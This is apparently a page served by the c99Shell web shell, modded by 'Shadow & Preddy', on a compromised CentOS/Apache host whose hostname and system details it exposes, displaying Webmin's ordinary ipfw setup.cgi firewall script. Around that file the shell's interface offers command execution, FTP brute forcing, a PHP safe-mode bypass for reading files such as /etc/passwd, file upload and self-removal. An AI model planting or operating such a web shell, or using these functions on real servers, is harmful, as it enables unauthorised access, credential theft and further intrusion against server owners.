!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/ipfw/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     setup.cgi (4.15 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# setup.cgi
# Create an initial IPFW rules file

require './ipfw-lib.pl';
&ReadParse();

# Start with base configuration, which will include 65535 rule
$rules = &get_config("$config{'ipfw'} list |", \$out);
if ($in{'reset'}) {
    @$rules = grep { $_->{'num'} == 65535 } @$rules;
    }

# A flush will generate the 65535 rule, so we can exclude it
if (&get_ipfw_format() == 1) {
    @$rules = grep { $_->{'num'} != 65535 } @$rules;
    }

# Add selected rules
if ($in{'auto'} == 0) {
    # Allow all traffic
    splice(@$rules, 0, 0, { "action" => "allow",
                "num" => "00100",
                "proto" => "all",
                "from" => "any",
                "to" => "any",
                "cmt" => "Allow all traffic" });
    }
elsif ($in{'auto'} >= 2) {
    # Block all traffic, apart from established connections, DNS replies
    # and safe ICMP types
    $iface = $in{'iface'.$in{'auto'}} ||
         $in{'iface'.$in{'auto'}.'_other'};
    $iface || &error($text{'setup_eiface'});
    splice(@$rules, 0, 0, { "action" => "skipto",
                "aarg" => "00300",
                "num" => "00100",
                "proto" => "all",
                "from" => "any",
                "to" => "any",
                "recv" => $iface,
                "cmt" => "Skip next rule for external interface" },
                  { "action" => "allow",
                "num" => "00200",
                "proto" => "all",
                "from" => "any",
                "to" => "any",
                "cmt" => "Allow all traffic on internal interfaces" },
                  { "action" => "allow",
                "num" => "00300",
                "proto" => "tcp",
                "from" => "any",
                "to" => "any",
                "established" => 1,
                "cmt" => "Allow established TCP connections" },
                  { "action" => "allow",
                "num" => "00400",
                "proto" => "tcp",
                "from" => "any",
                "to" => "any",
                "tcpflags" => "ack",
                "cmt" => "Allow traffic with ACK flag set" },
                  { "action" => "allow",
                "num" => "00500",
                "proto" => "udp",
                "from" => "any",
                "from_ports" => "53",
                "to" => "any",
                "to_ports" => "1024-65535",
                "cmt" => "Accept responses to DNS queries" },
                  { "action" => "allow",
                "num" => "00600",
                "proto" => "icmp",
                "from" => "any",
                "to" => "any",
                "icmptypes" => "0,3,4,11,12",
                "cmt" => "Accept safe ICMP types" });
    if ($in{'auto'} >= 3) {
        # Add SSH and ident
        splice(@$rules, @$rules-1, 0,
              { "action" => "allow",
            "num" => "00700",
            "proto" => "tcp",
            "from" => "any",
            "to" => "any",
            "to_ports" => 22,
            "cmt" => "Allow connections to our SSH server" },
              { "action" => "allow",
            "num" => "00800",
            "proto" => "tcp",
            "from" => "any",
            "to" => "any",
            "to_ports" => 113,
            "cmt" => "Allow connections to our IDENT server" });
        }
    if ($in{'auto'} >= 4) {
        # Allow pings and most high ports
        splice(@$rules, @$rules-1, 0,
                  { "action" => "allow",
                "num" => "00900",
                "proto" => "icmp",
                "from" => "any",
                "to" => "any",
                "icmptypes" => "8",
                "cmt" => "Respond to pings" },
                  { "action" => "deny",
                "num" => "01000",
                "proto" => "tcp",
                "from" => "any",
                "to" => "any",
                "to_ports" => "2049-2050",
                "cmt" => "Protect our NFS server" },
                  { "action" => "deny",
                "num" => "01100",
                "proto" => "tcp",
                "from" => "any",
                "to" => "any",
                "to_ports" => "6000-6063",
                "cmt" => "Protect our X11 display server" },
                  { "action" => "deny",
                "num" => "01200",
                "proto" => "tcp",
                "from" => "any",
                "to" => "any",
                "to_ports" => "7000-7010",
                "cmt" => "Protect our X font server" },
                  { "action" => "allow",
                "num" => "01300",
                "proto" => "tcp",
                "from" => "any",
                "to" => "any",
                "to_ports" => "1024-65535",
                "cmt" => "Allow connections to unprivileged ports" });
        }

    # Add final deny all rule (if needed)
    local $lr = $rules->[@$rules-1];
    if ($lr->{'num'} != 65535 || $lr->{'action'} ne 'deny') {
        splice(@$rules, @$rules-1, 0,
                  { "action" => "deny",
                "num" => "10000",
                "proto" => "all",
                "from" => "any",
                "to" => "any" });
        }
    }

# Add flush line at top
if (&get_ipfw_format() == 1) {
    splice(@$rules, 0, 0, { 'other' => 1,
                'text' => 'flush' });
    }

# Save firewall
&lock_file($ipfw_file);
&save_config($rules);
&unlock_file($ipfw_file);
&copy_to_cluster();

if ($in{'atboot'}) {
    &create_firewall_init();
    }

&webmin_log("setup");
&redirect("");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0142 ]--